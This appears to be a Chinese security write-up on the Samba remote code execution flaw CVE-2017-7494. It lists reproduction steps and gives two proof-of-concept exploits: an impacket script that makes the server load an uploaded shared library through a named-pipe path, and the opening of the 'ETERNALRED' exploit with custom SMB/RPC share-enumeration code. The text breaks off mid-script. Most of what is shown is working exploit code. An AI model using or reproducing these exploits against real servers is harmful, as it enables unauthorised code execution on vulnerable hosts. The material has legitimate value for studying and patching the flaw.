catalogue
1. 漏洞复现 2. 漏洞代码原理分析 3. 漏洞利用前提 4. 临时缓解 && 修复手段
1. 漏洞复现
1. SMB登录上去 2. 枚举共享目录,得到共享目录/文件列表,匿名IPC$将会被跳过 3. 从中过滤目录,检测是否可写(通过创建一个.txt方式实现) 4. 生成一个随机8位的so文件名,并将paylaod写入so中 5. 最后一步,连接到\192.168.206.128\IPC$,在smb登录状态下,创建/打开一个named pipe
0x1: POC1
# -*- coding: utf-8 -*- # AUTHOR: zhenghan.zh # RELEASE TIME: 2017/05/25 # LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb # DESCRIPTION: 如果黑客可以对samba某个目录具备写权限,可以向其中写入一个包含samba_init_module()导出函数的so文件,并且向samba服务器通过IPC named pipe的形式请求这个so文件, # 由于对路径中的斜杠处理不当,samba会加载并执行这个so文件中的samba_init_module()代码逻辑 from optparse import OptionParser from impacket.dcerpc.v5 import transport def main(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="target ip address") parser.add_option("-m", "--module", dest="module", help="module path on target server") (options, args) = parser.parse_args() if options.target and options.module: stringbinding = r'ncacn_np:%s[pipe\%s]' % (options.target, options.module) rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = rpctransport.get_dce_rpc() dce.connect() else: parser.print_help() if __name__ == "__main__": main()
0x2: POC2
#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + struct.pack('<I', call_id) + binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b'